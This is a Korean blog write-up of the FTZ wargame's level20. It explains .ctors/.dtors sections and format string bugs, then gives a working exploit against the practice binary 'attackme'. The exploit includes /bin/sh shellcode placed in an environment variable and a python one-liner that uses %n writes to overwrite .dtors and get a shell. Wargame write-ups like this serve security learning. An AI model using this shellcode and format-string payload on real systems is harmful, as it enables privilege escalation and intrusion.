Jaeseo's Information Security Story

FTZ - level20 - WriteUp | ctors, dtors 영역 | 포맷스트링 공격 본문

Write UP/FTZ

FTZ - level20 - WriteUp | ctors, dtors 영역 | 포맷스트링 공격

Jaeseokim 2019. 11. 30. 19:29

FTZ - level20 - WriteUp

level20:we are just regular guys

일단 hint 파일을 봅니다.


[level20@ftz tmp]$ cat ../hint

#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin); //입력값을 bleh에 받지만 최대 79까지만 받아서 BOF가 불가능
  printf(bleh); //하지만 printf의 포맷스트링 취약점을 통한 공격이 가능하다.
}

일단 이문제를 풀기전에 알아야 하는 정보가 있습니다.

ctors, dtors 영역

이 위의 두가지 영역의 특징아래와 같습니다.

  • .ctors (constructor) 은 main() 전에 실행

  • .dtors (destructor) 은 main() 종료 후에 실행

#include <stdio.h>

void __attribute__((destructor)) dtors(){
    printf("dtors\n");
}

void __attribute__((constructor)) ctors(){
    printf("ctor\n");
}

int main(){
    printf("main\n");
}

위의 예제를 통해 설명 하겠습니다. 일단 위의 소스를 보면 dtors, ctors, main 각각 3가지 영역에 대해 선언을 하고 각 영역의 이름을 출력 하는 소스를 짯습니다. 원래라면 main만 출력이 하는 것이 정상일 것 이라고 생각 하지만 ctors 영역, dtors 영역의 역할에 따라 ctors -> main -> dtors 각 순서로 실행이 되는 모습을 볼 수 있습니다.

[level20@ftz tmp]$ ./a.out
ctor
main
dtors

포맷스트링 취약점 (Format String Vulnerability)

포맷스트링 취약점이란 printf의 포맷 인자를 이용한 취약점입니다.

아래의 두가지 코드를 예로 들어보겠습니다.

#include <stdio.h>
int main(){
    char str[10] = "printf_s!%x";
    printf("%s",str);
}
#include <stdio.h>
int main(){
    char str[10] = "printf_s!%x";
    printf(str);
}

위의 두가지 경우의 코드가 있다고 가정합니다. 일단 첫번째는 printf에 미리 포맷이 String 형태라는 것을 알려주고 변수를 스트링 형태로 받아드립니다. 그러면 결과물은 "printf_s!%x"그대로 출력이 되는 모습을 볼 수 있습니다. 하지만 아래의 코드를 실행하게 되면 printf_s!365라는 이상한 숫자 즉 %x의 역할이 작동하여 포인터 주소를 가져온 모습을 볼 수 있습니다.

포맷 인자 타입 출력 형태
%d int 10진수
%u unsigned int 10진수
%c char 문자
%s char [] 문자열
%x int 16진수
%n int 지금까지 출력한 바이트의 수를 인자값으로 넘어온 변수에 저장

대략적으로 위와 같이 다양한 포맷형태가 있습니다. 이때 여기서 %n를 이용하여 원하는 데이터를 저장할 수 있습니다. 이때 저장을 원하는 데이터가 0xfffa1234 이런다고 할때 직접 %n를 이용해서 저장 할려면 엄청난 길이의 코드가 작성되기 때문에 %100c 이런 형태를 통해 원하는 글자수를 정해서 입력이 가능합니다. 이점을 이용해서 공격을 합니다!!


FTZ level 20 Exploit

일단 위에서 알아낸 두가지의 정보를 통해 공격을 시도 해봅니다.

일단 dtors의 영역의 주소를 구해봅니다.

[level20@ftz level20]$ objdump -t attackme

attackme:     file format elf32-i386

SYMBOL TABLE:
080480f4 l    d  .interp        00000000
08048108 l    d  .note.ABI-tag  00000000
08048128 l    d  .hash  00000000
0804815c l    d  .dynsym        00000000
080481dc l    d  .dynstr        00000000
0804823e l    d  .gnu.version   00000000
08048250 l    d  .gnu.version_r 00000000
08048270 l    d  .rel.dyn       00000000
08048280 l    d  .rel.plt       00000000
080482a0 l    d  .init  00000000
080482b8 l    d  .plt   00000000
08048308 l    d  .text  00000000
08048490 l    d  .fini  00000000
080484ac l    d  .rodata        00000000
080484b4 l    d  .eh_frame      00000000
080494b8 l    d  .data  00000000
080494c4 l    d  .dynamic       00000000
0804958c l    d  .ctors 00000000
08049594 l    d  .dtors 00000000    //dtors의 주소는 0x08049594
0804959c l    d  .jcr   00000000

이제 여기서 0x08049594 이주소에서 4byte를 더한 주소가 dtors의 return 주소가 됩니다. 이제 shellcode의 주소를 알아봅니다. 0x08049598

[level20@ftz level20]$ export ATTACK=`python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level20@ftz level20]$ /tmp/get.out ATTACK
0xbfffff53

그리고 이때 나온 주소를 기준으로 10진수로 변환 해봅니다. 3,221,225,299라는 값이 나오는데 이때에는 32bit os의 int 범위값이 넘어가기 때문에 앞뒤 2byte씩 잘라서 입력을 시켜줍니다.

0xbfff,0xff53

스택 구조
%n
%49151‬c == 0xbfff
%n
%65363c == 0xff53
\x9a\x95\x04\x08
AAAA
\x98\x95\x04\x08
AAAA

이때 여기서 보면 bleh의 영역까지 %x를 3번 해야지 접근이 가능한것을 볼 수 있습니다. 이 점을 고려 해서 다시 짜봅니다.

[level20@ftz level20]$ ./attackme
aaaa %8x %8x %8x %8x
aaaa       4f 4212ecc0 4207a750 61616161
스택 구조
%n
%49151‬c == 0xbfff
%n
%65363c == 0xff53
%8x%8x%8x 4f 4212ecc0 4207a750 == 8 + 8 + 8
\x9a\x95\x04\x08 4
AAAA 4
\x98\x95\x04\x08 4
AAAA 4

이때 문제점이 한번더 발생 하는데 %n 이전까지의 출력바이트수를 저장 시키기 때문에 주소를 계산해서 저장 시켜야 합니다. 그래서 이때 이전에 입력된 40byte만큼 줄여서 저장 시키도록 바꾸도록 합니다. 그리고 뒤의 49151도 똑같이 앞에 byte 만큼 제외 합니다. 이때 음수로 넘어가게 되는데 0xbfff에 자리수 하나를 업해서 0x1bfff에서 뺀 값을 저장 시킵니다.

스택 구조
%n
%49324c
%n
%65323c
%8x%8x%8x
\x9a\x95\x04\x08
AAAA
\x98\x95\x04\x08
AAAA

이제 이렇게 구해진 공격 스택 구조를 통해서 전달하여 공격을 해봅니다.!

공격 코드!!

[level20@ftz level20]$ (python -c 'print "AAAA"+"\x98\x95\x04\x08"+"AAAA"+"\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65323c"+"%n"+"%49324c"+"%n"';cat) | ./attackme

그러면 %65323c 같이 일부러 넣은 null문자열이 출력 되는 모습과 함께 ls등의 명령어를 실행하면 정상적으로 쉘을 얻은 모습을 볼 수 있습니다.

clear:i will come in a minute

드디어 ftz 문제를 다 풀었네요.. 마지막 문제 여서 그런지 더 알아야 하는게 많아서 힘들기도 했지만 엄청 재미있었습니다. 이제 LOB를 풀어야 겠네요!!!

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level19 - WriteUp  (0) 2019.11.27
FTZ - level18 - WriteUp  (0) 2019.11.26
FTZ - level17 - WriteUp  (0) 2019.11.26
FTZ - level16 - WriteUp  (0) 2019.11.26
FTZ - level15 - WriteUp  (0) 2019.11.26
Comments